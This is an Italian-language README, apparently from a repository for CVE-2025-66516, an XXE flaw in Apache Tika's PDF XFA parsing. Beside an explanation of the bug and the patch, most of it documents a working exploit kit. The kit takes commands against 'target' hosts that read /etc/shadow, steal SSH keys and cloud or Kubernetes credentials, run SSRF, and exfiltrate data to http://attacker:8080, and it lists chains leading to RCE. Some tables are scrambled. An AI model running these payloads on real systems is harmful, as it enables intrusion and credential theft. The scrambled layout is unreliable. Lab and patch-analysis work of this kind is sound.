
CVE-2025-66516 exploit funzionante, scanner, spiegazione.
CVE-2025-66516 è una vulnerabilità critica di iniezione XML External Entity (XXE) in Apache Tika con un punteggio CVSS di 10.0 (gravità massima). La vulnerabilità consente a un attaccante remoto di leggere file arbitrari, eseguire Server-Side Request Forgery (SSRF) ed esfiltrare dati sensibili caricando un documento PDF appositamente predisposto contenente contenuto XFA (XML Forms Architecture) dannoso.
| Attributo | Valore |
|---|---|
| ID CVE | CVE-2025-66516 |
| Punteggio CVSS | 10.0 (Critico) |
| Divulgata | 4 dicembre 2025 |
| Fornitore | Apache Software Foundation |
| Prodotto interessato | Apache Tika |
| Vettore di attacco | Rete (Remoto) |
| Autenticazione | Non richiesta |
| Componente | Versioni vulnerabili | Versione corretta |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
Importante: questa CVE sostituisce CVE-2025-54988, che identificava erroneamente solo il modulo PDF come vulnerabile. La vulnerabilità effettiva risiede in tika-core.
La vulnerabilità è un difetto di iniezione XML External Entity (XXE) nel modo in cui Apache Tika elabora i dati XFA (XML Forms Architecture) all'interno dei documenti PDF.
Il problema: Tika si affida ai parser XML Java sottostanti (in particolare un parser StAX) per leggere il contenuto XML XFA. Le versioni vulnerabili non configuravano correttamente il parser per disabilitare la risoluzione delle entità esterne. Quando il parser incontra una richiesta di entità esterna (come SYSTEM "file:///etc/passwd"), la risolve e restituisce il contenuto del file.
Posizione: il bug è presente in XMLReaderUtils.getXMLInputFactory() in tika-core:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Ineffective
return factory;
}
IGNORING_STAX_ENTITY_RESOLVER doveva bloccare XXE restituendo un risultato vuoto, ma restituiva una String invece dell'InputStream previsto. Il parser StAX predefinito del JDK ignorava silenziosamente questo tipo di ritorno errato e ripiegava sul comportamento predefinito, che risolve le entità esterne.
La correzione disabilita esplicitamente il supporto DTD e delle entità esterne a livello di factory:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
Inoltre, il resolver è stato modificato per restituire un tipo InputStream corretto.
Nell'ecosistema Java esistono diverse librerie di parser XML. Le applicazioni utilizzano il parser configurato o quello trovato per primo nel classpath.
Che cos'è Woodstox? Woodstox è un parser XML StAX open source ad alte prestazioni, comunemente incluso nelle applicazioni Java.
Come fornisce protezione: per progettazione (non per caso), l'implementazione di Woodstox gestisce correttamente il tipo di ritorno di XMLResolver. Quando Woodstox riceve il valore di ritorno stringa da IGNORING_STAX_ENTITY_RESOLVER, lo tratta come contenuto vuoto valido, bloccando di fatto l'XXE.
Distinzione critica:
tika-server-standard.jar include Woodstox - NON VULNERABILEtika-core + moduli parser (uso embedded) NON include Woodstox - VULNERABILE# 1. Start the lab environment
docker-compose up -d --build
# 2. Test against vulnerable Tika (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. Extract /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Compare with protected Tika (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Lab orchestration
|-- vulnerable-tika/
| |-- Dockerfile # Tika with Woodstox (protected)
| +-- Dockerfile.jdk-stax # Tika without Woodstox (VULNERABLE)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Flask upload application
| +-- templates/
|-- poc/
| |-- exploit.py # Automated exploitation tool
| +-- generate_payload.py # Malicious PDF generator
+-- README.md
docker-compose up -d --build
exploit.py)Sfruttamento a catena completa con generazione automatica dei payload ed estrazione dei dati.
# Check if target is vulnerable
python poc/exploit.py --url http://target:9998 --check
# Read local files
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# AWS metadata theft (EC2 instances)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Kubernetes secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF to internal services
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Save extracted data
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)Genera file PDF dannosi per test manuali o per l'integrazione con altri strumenti.
# Generate payload for specific file
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# Generate SSRF payload
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# Generate OOB exfiltration payload
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Use attack mode presets
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# List available attack modes
python poc/generate_payload.py --list-modes
Modalità di attacco disponibili:
file_read - Legge file locali (/etc/passwd, /etc/shadow, ecc.)ssh_keys - Ruba le chiavi private SSHaws_metadata - Metadati AWS EC2 e credenziali IAMgcp_metadata - Token degli account di servizio GCPazure_metadata - Token delle identità gestite Azurek8s_secrets - Credenziali degli account di servizio Kuberneteswebapp_configs - Configurazioni comuni delle applicazioni webssrf_internal - Sonda i servizi interniTest contro Tika 2.9.2 senza Woodstox (simulando distribuzioni embedded):
| Test | Risultato |
|---|---|
| Rilevamento XFA | [PASS] PDF riconosciuto come contenente XFA |
| Parsing XFA | [PASS] Contenuto XFA estratto |
| Lettura file XXE | [VULNERABILE] Contenuto di /etc/passwd esfiltrato |
| XXE SSRF | [VULNERABILE] Richieste esterne inviate |
Prova di sfruttamento:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Test contro Tika 2.9.2 con Woodstox (tika-server-standard.jar standard):
| Test | Risultato |
|---|---|
| Rilevamento XFA | [PASS] PDF riconosciuto come contenente XFA |
| Parsing XFA | [PASS] Contenuto XFA estratto |
| Lettura file XXE | [BLOCCATO] Entità esterne non risolte |
| XXE SSRF | [BLOCCATO] Nessuna connessione in uscita |
L'output mostra un'entità vuota:
<li fieldName="data">data: </li>
La vulnerabilità è reale e critica. Lo sfruttamento dipende dall'implementazione StAX:
tika-server-standard.jar - Woodstox incluso blocca XXEXXE è fondamentalmente una vulnerabilità di lettura file/SSRF, non RCE diretta. Tuttavia, abilita diversi percorsi di attacco:
| Attacco | Esempio di payload |
|---|---|
| Lettura file | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| Metadati AWS | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| Scenario | Percorso di attacco |
|---|---|
| AWS EC2 |
Aggiorna Apache Tika alla versione 3.2.2 o successiva
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
Verifica che tutti i componenti Tika siano aggiornati (tika-core E moduli parser)
| Tipo di distribuzione | Livello di rischio |
|---|---|
| tika-server-standard.jar | BASSO - Woodstox mitiga |
| Tika embedded (uso come libreria) | ALTO - Probabilmente vulnerabile |
| Personalizzata senza Woodstox | ALTO - Vulnerabile |
Problema 1: L'exploit iniziale non funzionava
Problema 2: Errore di dichiarazioni XML multiple
WstxParsingException: Illegal processing instruction target ("xml")Problema 3: Il mistero di Woodstox
Problema 4: Test della configurazione sbagliata
| Data | Evento |
|---|---|
| Agosto 2025 | CVE-2025-54988 divulgata (ambito incompleto) |
| 4 dicembre 2025 | CVE-2025-66516 pubblicata (ambito completo identificato) |
| 4 dicembre 2025 | Apache Tika 3.2.2 rilasciata con la correzione |
Questo ambiente di laboratorio e il codice proof-of-concept sono forniti esclusivamente per test di sicurezza autorizzati, scopi educativi e ricerca difensiva.
Non utilizzare questi strumenti contro sistemi senza esplicita autorizzazione scritta.
Questo materiale di ricerca è fornito a scopo educativo. Usalo in modo responsabile.
| Servizio | Porta | Descrizione |
|---|
| Applicazione web | 8080 | Frontend per il caricamento di documenti |
| Tika (Woodstox) | 9998 | Protetto - NON vulnerabile |
| Tika (JDK StAX) | 9997 | VULNERABILE - senza Woodstox |
| Listener dell'attaccante | 9999 | Server HTTP per test OOB |
| XXE -> SSRF verso i metadati -> credenziali IAM -> RCE tramite AWS CLI |
| Kubernetes | XXE -> Lettura del token dell'account di servizio -> kubectl exec |
| Jenkins interno | XXE -> SSRF verso la console script -> RCE Groovy |
| Database | XXE -> Lettura dei file di configurazione -> Accesso al database |
| SSH | XXE -> Lettura delle chiavi SSH -> Accesso remoto alla shell |